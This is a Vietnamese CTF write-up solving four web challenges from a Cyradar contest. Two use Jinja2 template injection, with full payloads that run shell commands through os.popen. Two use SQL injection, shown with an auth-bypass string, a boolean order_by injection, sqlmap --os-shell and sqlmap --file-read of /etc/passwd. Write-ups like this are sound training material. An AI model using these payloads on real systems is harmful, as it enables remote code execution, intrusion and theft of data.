Writeup Cyradar CTF TTS/CTV [WEB]
Bài 1: SSTI
Khi mở web lên có giao diện như sau:
=> Khả năng có 1 query string là name
Cho name
có giá trị là {{7*7}}
để test SSTI
=> Xuất hiện 49 => có khả năng bị SSTI
Test tiếp name
= ${{<%[%'"}}%\.
để biết xem phía server đang dùng template engine nào
=> Jinja2
Sử dụng payload:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls /').read() }}
Phát hiện có flag.txt
Đọc flag.txt
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}
Flag: Hello CyWeb{w3b_3asy_sst1}!
Bài 2: SQL Injection
Bài 2 có giao diện như sau:
Đọc source code => SQL Injection
Khi thử nhập username là admin' or 1 = 1 -- thì bị thật
Tiếp theo sử dụng tool SQLMap để đẩy nhanh tiến độ dump db
Đầu tiên sử dụng Burp Suite vào url bài web, đăng nhập thử, sau đó lấy request đưa vào file request.txt
Sau đó sử dụng SQLMap như sau
Thấy được 3 database sau:
Thử dump database public (-dbs
)
Khi dump table users thì không thấy flag (-D public -T users --dump
)
Xem lại đề bài có vẻ gợi ý RCE
=> Thêm option --os-shell
để RCE
Sau đó liệt kê thư mục gốc:
Đọc file flag.txt
Flag: CyWeb{ThiS_i5_m3d!um5q1!r(3}
Bài 3: SSTI
Server đang reflect lại địa chỉ IP của client.
Thử thêm X-Forwarded-For
vào gói tin:
=> Thử địa chỉ localhost nhưng không thấy gì
Thử {{7*7}}
ra 49
Tiếp tục 1 số bước như bài 1 => Jinja2
Và chèn payload sau:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls /').read() }}
Đọc flag.txt:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}
Flag: CyWeb{m3d!umsst!}
Bài 4: SQL Injection
Có vẻ giống bài 2 nhưng lần này với query string order_by
Sử dụng sqlmap check 1 số database
=> xem xét db chh
Note: 1 cách test bằng cơm nếu không dùng sqlmap:
?order_by=(SELECT (CASE WHEN ((SELECT substring(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='a') THEN 'price' ELSE (SELECT 7066 UNION SELECT 7211) END))
Phát hiện table flag
Tuy nhiên thì đây là flag fake
Sau đó có thử option --os-shell
tuy nhiên gặp lỗi (khả năng không upload được file) => Không thể RCE được
Sau khi tìm hiểu thì có phát hiện ra sqlmap có thể đọc được file với --file-read
sqlmap -r request.txt --file-read=/etc/passwd
Đầu tiên đọc file /etc/passwd
xem có flag không
Em nghĩ lại thì flag các bài trước đều được đặt ở /flag.txt
=> Flag: CyWeb{w3b_h@rd_sql1_0rderby}